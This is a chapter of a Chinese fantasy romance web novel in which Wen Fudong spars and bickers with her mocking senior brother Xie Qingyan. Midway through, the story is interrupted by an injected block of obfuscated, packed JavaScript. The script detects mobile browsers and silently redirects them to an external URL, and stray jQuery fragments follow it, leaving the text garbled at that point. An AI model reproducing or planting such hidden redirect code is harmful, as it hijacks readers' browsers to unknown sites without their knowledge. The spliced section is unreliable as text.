18.可怜

作品:《小师妹她才没有病

    少年半回身,随后往前走了一步,一脚踩在地上头盖骨,连带整个空间结界,也踩碎为了粉末。他并未回头,侧眸瞥来一眼,笑意轻蔑:“再不走,自己留在这里守尸。”


    温扶冬陷入沉思,恍然不觉,再抬头时,一件宽大的衣裳落在头顶,擦去她脸颊血迹。那人将衣裳往下压了压,轻轻拍了两下:


    “走吧,回家。”


    她眼前失去视线,却萦绕少年身上独特气息,只觉周遭轰然一震,传来何破碎之音,便将那衣裳拾下,蹒跚跟上。


    “师兄,我心脏疼。”她假意抽咽着。


    “......”


    少年把玩扇子,慢悠悠往她脑门一敲,低头唇角微勾:“下次记得看路。”


    温扶冬:“……”


    回到温府内,天色已是熹微,将至黎明。


    “你去哪了,怎的才回来?”瞧见扶冬狼狈不已,南芪守候门前,神色闪过些不自然。


    “路上遇到了点事。”她心不在焉,回忆起山上一幕。


    雨细细密密地下,自他发梢滑落,淋湿前额碎发。


    那时有寒月,有清风,应也是有花香的。


    该是万般美好之景,翠海森罗却血流成河。他眼里的冷漠,不信天神佛陀,对世道的无畏,冷静而疏离之感,就那般平静看着自己。


    与谢青晏此人打交道,到底是叫人焦头烂额。


    扶冬微叹。


    不过以他如今实力而言,莫可能无印术的,温扶冬摩挲指腹。


    这定是他的障眼法,他在隐藏什么?


    温扶冬想得入神,不觉雨幕渐散,暮雪烟萝,这般天色,见得几分秋景凄凉。


    昏暗九天,一道漆黑身影悄然近至身旁。


    “宫主,入夜为何还不回府?”温扶冬尚未看清,便闻耳边清脆一响,南芪踉跄跌倒,起身时颊侧红肿。


    南叔面无表情,语气冰冷道:“后月就是礼佛节,宫主应该谨记职责。”


    “南叔说的是。”她低声应答,模糊于屏开宫潮湿阴雨中。


    红帘虚掩其间,室内灯火通明,唯独见得娥月纤影,于这萧索府中,冷切得不似真实。南芪端坐镜前,眼神空洞。


    温扶冬又叫她一声,仍是没有回应。


    她左思右想,思及下人曾道南芪似乎喜欢吃玓饼,于是灵光一闪,自门外探出头。


    见南芪仍坐于镜前,心道自己若是突然自怀里掏出玓饼,她定会开心万般。


    片晌,房内安静下来,无了那苦恼目光,南芪回过头,一点暖意触上脸颊。


    温扶冬脸色怪异,将一团温软之物呼至脸颊,扭头大喊:“请你吃玓饼!”


    南芪呆愣许久。


    她不曾含笑,却看着温扶冬,眉眼染上几分柔和:“是邑饼。”


    温扶冬手忙脚乱,慌张间玓饼落地。


    “......”


    她假意别头,道:“啊你看,外头结彩真漂亮。”


    “可是……”话未说完,扶冬便打断道,“我先走了。”


    南芪尚未有所反应,便见她逃也似的奔出了门,无奈捡起地上玓饼,拍去落灰。


    她脸上挤出一抹荒唐的笑,到底是笑着,却叫人觉着那笑不该是这般苦涩,随后看向窗外,眼神透露迷茫,喃喃自语:


    “可是……那不是彩绸,是人皮啊。”


    “但是好可爱……”


    “好可爱,好可怜……”


    翌日清晨,温扶冬早早起床,将家中所有红色家具堆至角落后,心头安稳不少。


    直至夜晚,她手头正忙不迭,身后房梁忽而传来一声细微动响。


    “喂,我说。”


    温扶冬凝目望去,方才看清,身后背光处坐着一道人影。


    他盘坐于梁上,半边身子模糊夜色,手臂耷拉着,向下瞧着温扶冬,“天这么黑了,小姑娘就不要到处乱跑。”


    房间并未点烛,一片漆黑中,她看不清对方脸,却认出了这声音,嘴角抽抽道:“这是我家!”


    “你家可就不代表很安全哪。”谢青晏跳下房梁,发尾翘出个洋洋的弧度。


    温扶冬不耐道:“你怎的又来了?”


    谢青晏并未回答,一只腿支在长凳上。少年耳边的发垂落下来,微微翘起,盖住了半只漂亮的墨眉,衬着那弧形微弯的眼,仿佛峭壁崖顶一抹孑然傲气的樱红丹霞,好看极了。


    “想着来见你,就迫切了些。”他神色从容,话音方落,大口喝起了茶,扎人道,“啧,这茶怎的这么难喝?”


    “……”温扶冬自然不信,不慎咬着了舌,痛呼一声。


    谢青晏忍不住大笑,肖似逗着一只炸了毛的猫,见温扶冬躲在角落捣鼓什么,问:“这么神秘,你想做什么?”


    她身形掩于阴影,道:“召唤邪神,献祭自我。”


    谢青晏饶有兴致,一手搭着膝,撑脸看向她。那双桃花眼盛满风情不摇,偏不生突兀,犹如深邃湖泊,映照寒夜锋芒太露,被这么一瞧,好似所有心思都躲不过这双眼睛。


    他没有戳穿,直至温扶冬忙完了,拂了拂衣裳起身,却转身如一道寒风袭来。


    谢青晏神色微愣,偏头接过温扶冬拳头,低头看去那图谋不轨五指,当即挑了挑眉,“我劝你对我死心。”


    “……”温扶冬登时邪火上身。


    见他转过身,扶冬恶狠狠瞪去,一把将筷子插入米饭碾碎,只恨这碗中碎尸怎不是对方。


    便是这时,谢青晏回过头来。


    她忙乖巧坐好,眨了眨眼,将那碗中碎屑点点挑出。


    忍则忍,方为人上人!


    谢青晏挑眉看向她,不说话。


    空气静默良久,那少年却饶有兴味,她早已忍耐至极,仍要端着温柔摸样,只要将牙给咬碎了。


    脚步声响起,停在身前,那少年应是想说些什么,声未起,她便抓住对方手腕,方要动作,却被一扇挡开。


    少年动作轻快,不着力道,一拳一脚便如燕子轻盈,眨眼将她双手缚起,手中把玩红扇,拍了拍温扶冬脑勺。


    他笑着低头:“小心脚下。”


    温扶冬低头望去,跨过脚下杯子落地,道:“放开我。”


    她今日这番动作,不过试探对方,结果却出人意料。


    此人不甚在意,然一招一式确无印术,绝非作假。


    这便怪了。


    谢青晏矮下身,嘴角勾着,身形藏在昏暗里,即便近在咫尺,温扶冬仍是看得不清。


    “别动。”


    温扶冬身形微僵,屏住呼吸。


    “有那个胆子招惹,还想全身而退。”他压声低笑,威胁道,“谁教你打的算盘。”


    温扶冬闻言停止动弹,看去手中相缠红线。


    男子的气息萦绕耳畔,她一时忘却反应,神色闪过不自然。灯火摇曳,烛光将二人身影拉长,交缠相融,落于阴影间,直教人看不清形状。


    谢青晏感受到什么,低身瞧来,看向温扶冬时,目光皆是意外:“你还会脸红?”


    她霎时暴怒,恶狠狠朝谢青晏瞪去,呐道:“绝无可能!”


    谢青晏不禁好笑,温扶冬眼中盛满怒火,又道:“不想死就松开。”


    “天底下还没有人杀的了我。”他语气当真狂妄。


    温扶冬见缝插针,趁对方松懈,左腿使力,绊着谢青晏一同向后撞去,直与墙壁相靠。


    谢青晏笑:“不装了?”


    温扶冬冷不丁道:“我何必要装什么。”


    她欲踢开对方,奈何少年站得笔直,旋即抬起腿,朝对方身下踢去。


    谢青晏脸上闪过一愣,无奈松手。他晃悠悠退了几步,险些没站稳:“你这毒妇,当真心肠歹毒。”


    “谁让你阴魂不散,比厉鬼还难缠。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735050|173664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “省些力气折腾。”少年哼笑一声,抱胸退后道,“我先说好,我虽貌美如花,但也不是谁都能揩油的。想让我从了你,那可不行。”


    “……”


    起先温扶冬只当他在伪装,可如此下来,她却如何看不透了。


    如今她身份不明,是何动机更是不知,潜藏在身边,无疑是一颗不知是深是浅的炸弹。他心生怀疑,却又胜券在握,毫无忌惮,说他嚣张也好,狂傲也罢,偏偏他看起来不以为意。


    温扶冬揉了揉紧锁的眉,同时心里也清楚,从一开始,谢青晏就抱着戏耍姿态。


    气人极了。


    “这般看着我,我脸上有东西?”他暧昧一笑。


    “......”温扶冬忙移开视线。


    见她这般古怪表情,谢青晏唇角不经意上扬,显出几分戏谑:“昨晚可是一夜没睡,就不心疼一下?”


    温扶冬视线聚焦,凑近才见,他眼下当真有淡淡乌青。阴影婆娑,几乎暗不可察。


    想到这儿,她更是生气,道:“你一魔头还用睡觉?”


    谢青晏又笑:“一不小心被你发现了。”


    温扶冬借势将其推开,谢青晏后退几步,扶墙掸去肩上落灰,道:“不怕我了?”


    她噎住:“谁怕你?”


    谢青晏揉了揉胸口,目光下至心口处,难以置信的啧了啧:“你这丫头人不大,脾气倒是不小。”


    她转身离开,言语间皆不掩讽刺:“谢师兄若是离我远点,我便不会打你。”


    “你叫我师兄?”谢青晏撑着桌,像是听见了什么有意思的事,自顾自喝茶,“这倒是稀奇。”


    “师兄贵人多忘。”温扶冬眉心跳动,心想,这两天叫的还少吗?


    “是吗?”他轻啧,“我怎么不记得。”


    “大概是我忘了。不如,你再叫一声?”


    温扶冬猛地捏碎茶杯,瞪去谢青晏:“你......”


    气煞我也!


    “谢师兄这般撒泼耍皮,定是不怕哪日讨打。”


    谢青晏步调清闲,却是并没有要理睬她的意思。他弯腰低头,撑桌看向温扶冬,挑衅一笑:“那得看,你有没有那个本事。”


    话音方落,一抹凌冽寒光自眼前闪过,少年垂眸,看向那把匕首近在眼前,眸光晦暗。


    “是吗?”温扶冬抬眼。


    他低下头,指尖勾住刀尖,慢慢向下一挑,锋利刀刃抵在心口,唇角略带笑意。


    谢青晏俯身,刀锋几乎抵着下颚划过,他指腹轻轻压住桌沿,身子稍倾,墨发落入温扶冬怀中,微微勾起的嘴角,将这个动作显得这般放荡不拘,偏生他目光平静,盛满暮色。


    对上温扶冬瞳孔,他轻歪头,喉结上下滚动,银刃自锁骨而过,溢出一道极浅血痕。鲜红血色犹如梅瓣绽放,衬得他肤色极白,少年毫无动容,喉音低沉悦耳,笑道:“杀人,要捅这儿。”


    那双眼睛极具距离感,锋利而刺骨,温扶冬喉头微梗,凝着那双黑眸,蓦然反应过来:“要论厚颜无耻,谢师兄真是登峰造极!”


    她像是气极了,不知怎的,鬼使神差将匕首收回,道:“我突然改变主意,不想杀你了。”


    谢青晏低头轻笑,语气轻佻却又不容置疑:“你还打不过我。”


    分明是平淡的声音,却似乎有意在挑逗寻衅,刺激着她什么。


    温扶冬简直气得捶桌,面上却不显,压下跳动眉心:“若是有,谢师兄又该如何是好?”


    谢青晏沉默不言,伸手抓住檐上一把老旧风铃,低沉沙哑得已发不出声音。


    廊间沉寂幽静,锈迹风铃翩翩摇荡,良久,身后传来那少年声音,他浑不在意笑道:“那被你杀了,也未尝不是求之不得。”


    温扶冬脸色霎沉,转身离去。


    小径上静悄悄的。


    路上时而飞过几只蝴蝶,被他抓了过来,停在指尖逗玩。